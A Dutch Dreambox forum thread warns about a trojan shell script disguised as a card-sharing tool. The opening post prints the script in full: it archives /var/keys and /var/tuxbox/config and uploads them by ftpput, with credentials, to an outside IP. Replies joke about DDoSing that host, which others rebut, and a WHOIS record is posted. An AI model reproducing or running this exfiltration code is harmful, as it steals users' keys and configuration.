Waarschuwing - "Trojaans paard" voor dreambox!!!

[Littlesat]

Het volgende script is met de inhoud zoals beneden is heden op het w-w-w te vinden (Ik heb mijn commentaar toegevoegd in vet).

 

Dus PAS OP!!!

 

Ze zijn te vinden als een allshare.sh if als een menu9.sh. Ze geven je de indruk dat je CWs kunt sharen via een surver.

 

TRAP ER NIET IN...

 

MET DE GEGEVENS DIE ZE KRIJGEN KUNNEN ZE JE KAART GEBRUIKEN IN EEN SHARE NETWERK - EN NOG ERGER !!! -

 

#!/bin/sh

# this is the inteligent script

# which connect to the ftp server and get current active CW code

#De volgende regels maken een unieke filename aan afhankelijk van datum en tijdstip voor de file te uploaden

nimi=`date +%d%m%s1`

nimi2=`date +%d%m%s2`

# define folder where to copy keys

#De volgende regels maken een tar (soort zipfile) aan van de complete /var/keys en /var/tuxbox/config directory... Al je share configuratie staat hier in

tar -cz -f /tmp/$nimi.tgz /var/keys/*

tar -cz -f /tmp/$nimi2.tgz /var/tuxbox/config/*

# define FTP cardshare folders

cd /tmp

#######################

# 1 - UPC DIRECT card

#Ja ja UPC kaart...... Uploaden naar een server op IP 217.198.114.13... Lekker jongen die daar achter zit

ftpput -u skallshare -p qwert34 217.198.114.13 /wwwroot/codes/ $nimi.tgz

# 2 - PREMIERE card

#Ja ja PREMIERE kaart...... Uploaden naar een server op IP 217.198.114.13... Lekker jongen die daar achter zit

ftpput -u skallshare -p qwert34 217.198.114.13 /wwwroot/codes/ $nimi2.tgz

# next cards very soon

#

#######################

#Verwijderen tijdelijke tar files

rm -f /tmp/$nimi.tgz

rm -f /tmp/$nimi2.tgz

exit

[Gast]

 

Hmmz....niet zo best. Alhoewel het password toch niet meer werkt dus inloggen lukt niet.....

[lite]

haha, geniaal <img src="/forums/images/graemlins/tongue.gif" alt="" />

[Gast]

Is een ftp-site in Tsjechie.

Ik heb geprobeerd of ik er met deze username en wachtwoord in kon, maar helaas.

 

Greetz, Lion.

[Littlesat]

Ja,

 

Want als je daar kunt inloggen... Dan krijg je heel wat sh@r€ gegevens!!! En ben je ook vast de creator van dat script ;-)

 

Waarschijnlijk werkt het user-id password alleen voor de upload!!!

[henniek]

is dat IP niet te blokkeren?

 

Kunnen we hem niet allemaal een verjaardags data pakket sturen?

 

Is dat "ftpput" commando niet te verwijderen, of wordt het voor legale dingen gebruikt in de dreambox?

 

henniek, die niet houdt van die sneekie dingen.

[Littlesat]

Niet in alle busybox zit ftpput... O.a. Gemini is resistent voor dit 4-us... Gemini kent geen ftpput. Maar rudreamers en Pli gebruikers moeten oppassen...

[Henksat]

Citaat:

Kunnen we hem niet allemaal een verjaardags data pakket sturen?

Het moet toch mogelijk zijn dat IP-adres te bestoken met zwaar geschut? <img src="/forums/images/graemlins/xyxthumbs.gif" alt="" />

[Gast]

 

Als de maker van het script een beetje slim is, dan heeft ie niet z'n eigen IP gebruikt. Dus zal het wel van iemand zijn die nergens wat van weet...

Om hem dan ook nog eens te dDos'en <img src="/forums/images/graemlins/wink.gif" alt="" />

[henkie v]

misschien kun je je ftpput commando renamen, zodat geen enkel script hem zo kan oproepen ??

[Gast]

Ja, stoer, ga mensen maar aanzetten tot een (D)DoS attack, dat is tenslotte een goede oplossing! NOT.

 

Mensen die "denken" dat een DDoS attack stoer is, snappen verrot weinig van hoe 't internet werkt. Het probleem is namelijk dat degene die je DoS'd niet enige is die er last van heeft, als de DDoS groot genoeg is, dan hebben de internet provider en soms zelf hun peers/transit providers, daar ook een hoop last van. Aangezien er over het algemeen betaald moet worden voor netwerk verkeer, drijf je dus derden op kosten, om wraak te nemen op een IP wat waarschijnlijk alleen maar een gehackte server is en niet degene die je wilde hebben...

 

Voor de "mensen" die toch menen te moeten DDoSsen: ik hoop dat je gepakt wordt en alle kosten moet betalen voor je grapje, en dat ze je gelijk een jaartje of 3 in de gevangenis smijten, waarna je je leven lang nooit meer een computer mag aanraken. <img src="/forums/images/graemlins/mad.gif" alt="" />

[opzolder]

En daarbij ga je als rechtgeaarde satter natuurlijk niet extern sharen en zul je dit script dus nooit installeren. De grote crimineel licht hier de kleine crimineel pootje. Ze zoeken het samen maar uit.

[Gast]

Citaat:

Ja, stoer, ga mensen maar aanzetten tot een (D)DoS attack, dat is tenslotte een goede oplossing! NOT.

Mensen die "denken" dat een DDoS attack stoer is, snappen verrot weinig van hoe 't internet werkt. Het probleem is namelijk dat degene die je DoS'd niet enige is die er last van heeft, als de DDoS groot genoeg is, dan hebben de internet provider en soms zelf hun peers/transit providers, daar ook een hoop last van. Aangezien er over het algemeen betaald moet worden voor netwerk verkeer, drijf je dus derden op kosten, om wraak te nemen op een IP wat waarschijnlijk alleen maar een gehackte server is en niet degene die je wilde hebben...

Voor de "mensen" die toch menen te moeten DDoSsen: ik hoop dat je gepakt wordt en alle kosten moet betalen voor je grapje, en dat ze je gelijk een jaartje of 3 in de gevangenis smijten, waarna je je leven lang nooit meer een computer mag aanraken. <img src="/forums/images/graemlins/mad.gif" alt="" />

Volgens mij heeft iemand z'n gevoelige snaar geraakt? <img src="/forums/images/graemlins/wink.gif" alt="" />

[bash!]

Ja en ik kan het wel met hem eens zijn!!

 

En maar klagen als hun verbinding even traag is.. terwijl de provider dit soort idioten maar moet proberen op te sporen en al het gezeik van de klanten over zich heen krijgt.

 

Probeer gewoon te achterhalen wie het is.... tik hem dan zijn tandjes uit zijn muil.. Zit je ook geen anderen dwars.

[Gast]

Bron http://www.dnsstuff.com

 

Location: Czech Republic

 

ARIN says that this IP belongs to RIPE; I'm looking it up there.

 

 

Using 0 day old cached answer (or, you can get fresh results).

Hiding E-mail address (you can get results with the E-mail address).

 

% This is the RIPE Whois query server #1.

% The objects are in RPSL format.

%

% Note: the default output of the RIPE Whois server

% is changed. Your tools may need to be adjusted. See

% http://www.ripe.net/db/news/abuse-proposal-20050331.html

% for more details.

%

% Rights restricted by copyright.

% See http://www.ripe.net/db/copyright.html

 

% Information related to '217.198.114.0 - 217.198.115.255'

 

inetnum: 217.198.114.0 - 217.198.115.255

netname: ZONER-NET-2

descr: ZONER software, s.r.o.

country: CZ

rev-srv: ns1.czechia.cz

rev-srv: ns2.czechia.com

admin-c: PH6666-RIPE

tech-c: PH6666-RIPE

notify: ***@zoner.com

status: ASSIGNED PA

mnt-by: PEHE-MNT

changed: ******@zoner.com 20051114

source: RIPE

 

person: Petr Herman

address: ZONER software s.r.o.

address: Nove sady 18/583

address: Brno

address: 602 00

address: Czech Republic

phone: +420 5 43257244

fax-no: +420 5 43257245

e-mail: ******@zoner.com

nic-hdl: PH6666-RIPE

mnt-by: PEHE-MNT

notify: ***@zoner.com

changed: ******@zoner.com 20040306

source: RIPE

 

% Information related to '217.198.112.0/20AS34222'

 

route: 217.198.112.0/20

descr: ZONER-NET

origin: AS34222

notify: ***@zoner.com

mnt-by: PEHE-MNT

changed: ******@zoner.com 20051114

source: RIPE